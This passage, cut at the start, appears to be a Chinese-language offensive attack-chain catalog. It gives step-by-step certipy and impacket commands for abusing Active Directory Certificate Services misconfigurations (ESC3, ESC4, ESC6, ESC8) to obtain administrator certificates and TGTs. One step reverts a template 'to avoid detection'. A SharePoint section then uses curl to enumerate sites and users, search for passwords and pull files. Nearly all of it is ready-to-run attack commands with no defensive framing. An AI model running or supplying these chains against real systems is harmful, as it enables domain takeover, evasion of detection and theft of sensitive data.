certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com
3. 使用证书认证 [linux] 使用证书认证
certipy auth -pfx administrator.pfx -dc-ip DC_IP
获取管理员TGT
ADCS ESC3攻击 adcs-esc3
利用ESC3注册代理配置错误
子类:ESC3 · tags: adcs esc3 certificate
前置条件: 域环境;ADCS服务;存在ESC3配置
攻击链:
1. 探测ESC3 [linux] 探测ESC3配置
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找具有Enrollment Agent权限的模板
2. 获取注册代理证书 [linux] 获取注册代理证书
certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent
获取注册代理证书
3. 代表其他用户请求证书 [linux] 代表管理员请求证书
certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx
ADCS ESC4攻击 adcs-esc4
利用ESC4模板权限配置错误
子类:ESC4 · tags: adcs esc4 certificate
前置条件: 域环境;ADCS服务;对模板有写权限
攻击链:
1. 探测ESC4 [linux] 探测模板权限
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找用户有写权限的模板
2. 修改模板配置 [linux] 修改模板配置
certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old
修改模板为ESC1配置
3. 请求证书 [linux] 请求管理员证书
certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com
4. 恢复模板配置 [linux] 恢复模板配置
certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json
恢复原配置避免检测
ADCS ESC6攻击 adcs-esc6
利用ESC6编辑标志配置错误
子类:ESC6 · tags: adcs esc6 certificate
前置条件: 域环境;ADCS服务;CA启用EDITF_ATTRIBUTESUBJECTALTNAME2
攻击链:
1. 探测ESC6 [linux] 探测CA配置
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找EDITF_ATTRIBUTESUBJECTALTNAME2标志
2. 请求证书 [linux] 请求管理员证书
certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com
使用-alt参数指定SAN
3. 使用证书认证 [linux] 认证获取TGT
certipy auth -pfx administrator.pfx -dc-ip DC_IP
ADCS ESC8攻击 adcs-esc8
利用ESC8 HTTP端点进行NTLM中继
子类:ESC8 · tags: adcs esc8 ntlm-relay
前置条件: 域环境;ADCS HTTP端点;可触发NTLM认证
攻击链:
1. 探测ESC8 [linux] 探测HTTP端点
certipy find -u user@domain.com -p password -dc-ip DC_IP
查找HTTP证书端点
2. 设置NTLM中继 [linux] 设置NTLM中继
impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs
监听NTLM认证并中继到ADCS
3. 触发认证 触发目标NTLM认证
使用多种方式触发:
- 发送邮件链接
- 打印机漏洞
- WebDAV
- 其他NTLM触发方式
SharePoint攻击
SharePoint枚举 sharepoint-enum
枚举SharePoint站点和文件
子类:枚举 · tags: sharepoint enum recon
前置条件: SharePoint可访问
攻击链:
1. 站点枚举 [linux] 枚举站点
curl -k https://sharepoint.com/_api/web/webs
获取所有子站点
2. 用户枚举 [linux] 枚举用户
curl -k https://sharepoint.com/_api/web/siteusers
获取站点用户列表
3. 文件枚举 [linux] 枚举文档库
curl -k https://sharepoint.com/_api/web/lists
获取文档库列表
4. 搜索文件 [linux] 搜索敏感内容
curl -k "https://sharepoint.com/_api/search/query?querytext='password'"
搜索敏感文件
SharePoint文件访问 sharepoint-file-access
访问SharePoint文档库中的文件
子类:文件访问 · tags: sharepoint file access
前置条件: SharePoint凭证或漏洞
攻击链:
1. Web界面访问 Web界面访问
https://sharepoint.com/sites/site_name/Shared Documents
通过浏览器访问文档库
下载敏感文件
2. REST API访问 [linux] REST API访问
curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"
获取文档列表
下载文件内容
3. CSOM访问 [windows] CSOM访问
使用SharePoint客户端对象模型:
ClientContext context = new ClientContext("https://sharepoint.com");
context.Credentials = new SharePointOnlineCredentials(user, password);
List list = context.Web.Lists.GetByTitle("Documents");
4. OneDrive同步 OneDrive同步
使用OneDrive客户端同步SharePoint文档库
本地访问所有文件
离线查看敏感数据